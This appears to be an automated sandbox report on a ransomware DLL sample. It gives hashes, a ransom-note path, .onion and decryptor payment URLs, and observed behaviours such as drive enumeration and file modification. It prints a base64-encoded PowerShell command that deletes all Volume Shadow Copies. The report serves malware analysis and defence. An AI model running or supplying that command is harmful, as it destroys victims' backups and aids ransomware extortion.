Analysis
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max time kernel
93s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
01-06-2024 17:30
Behavioral task
behavioral1
Sample
8b3414ac059606a111a1e5a63aad7346_JaffaCakes118.dll
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
8b3414ac059606a111a1e5a63aad7346_JaffaCakes118.dll
Resource
win10v2004-20240426-en
General
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Target
8b3414ac059606a111a1e5a63aad7346_JaffaCakes118.dll
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Size
164KB
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MD5
8b3414ac059606a111a1e5a63aad7346
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SHA1
2e9e72fc4266fb2277c18b1164ed15ba1d8babe6
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SHA256
d059aa3256671f00f255d11fbba5225c40d6f50ec42e433cd49db1724483f70b
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SHA512
6978e151ab8c5372ef71a38fee294c93a0893ff6f48d3a14fa6686217a9df02deab3aed60583d1947443a1df1261b0f3dc7f26ecf2c8200a4fc395e1c12af70a
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SSDEEP
3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFf5pbslEPF:veoUeZR2TRCWQFf5pbK
Malware Config
Extracted
C:\Users\1h74962-readme.txt
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/589D42FB1AF7AAAB
http://decryptor.cc/589D42FB1AF7AAAB
Signatures
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\D: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\Q: rundll32.exe -
Drops file in Program Files directory 19 IoCs
description ioc Process File opened for modification \??\c:\program files\ImportInvoke.jpeg rundll32.exe File opened for modification \??\c:\program files\PingEnable.odp rundll32.exe File opened for modification \??\c:\program files\RedoResize.wvx rundll32.exe File opened for modification \??\c:\program files\RemoveStep.png rundll32.exe File opened for modification \??\c:\program files\UnblockImport.ADT rundll32.exe File opened for modification \??\c:\program files\UpdateTest.odt rundll32.exe File opened for modification \??\c:\program files\WatchRestart.odp rundll32.exe File opened for modification \??\c:\program files\DebugCopy.fon rundll32.exe File opened for modification \??\c:\program files\UseConvertTo.xltx rundll32.exe File created \??\c:\program files (x86)\1h74962-readme.txt rundll32.exe File opened for modification \??\c:\program files\GetRestore.rtf rundll32.exe File opened for modification \??\c:\program files\MeasureInstall.xml rundll32.exe File opened for modification \??\c:\program files\NewInvoke.mp4 rundll32.exe File opened for modification \??\c:\program files\RestartClose.htm rundll32.exe File opened for modification \??\c:\program files\UnlockClear.tif rundll32.exe File created \??\c:\program files\1h74962-readme.txt rundll32.exe File opened for modification \??\c:\program files\ProtectBlock.ppsx rundll32.exe File opened for modification \??\c:\program files\SendBlock.dwfx rundll32.exe File opened for modification \??\c:\program files\CompareUnblock.scf rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3256 rundll32.exe 3256 rundll32.exe 4856 powershell.exe 4856 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3256 rundll32.exe Token: SeDebugPrivilege 4856 powershell.exe Token: SeBackupPrivilege 2940 vssvc.exe Token: SeRestorePrivilege 2940 vssvc.exe Token: SeAuditPrivilege 2940 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 1668 wrote to memory of 3256 1668 rundll32.exe 82 PID 1668 wrote to memory of 3256 1668 rundll32.exe 82 PID 1668 wrote to memory of 3256 1668 rundll32.exe 82 PID 3256 wrote to memory of 4856 3256 rundll32.exe 88 PID 3256 wrote to memory of 4856 3256 rundll32.exe 88 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\8b3414ac059606a111a1e5a63aad7346_JaffaCakes118.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\8b3414ac059606a111a1e5a63aad7346_JaffaCakes118.dll,#12⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4856
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2920
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2940
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
7KB
MD5a3f282d0eddabffb08fe1dd7083ac514
SHA153bdbd0cdcc5bd3f2b12b6060522f6899ef3bba2
SHA256dc6de89ae234d69fbc08f9e028443523b99c1d7b1d9eb57c41f2c80faa3f6d45
SHA5128837d9d604fc288d4f00e9e20ccf0b9dcfc5540a07a08a39d30365ea8e3e1445795475c2706d3ef1dbb726ad44b86c60b2f77ae65436d354e9d6e4b3001581ba
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82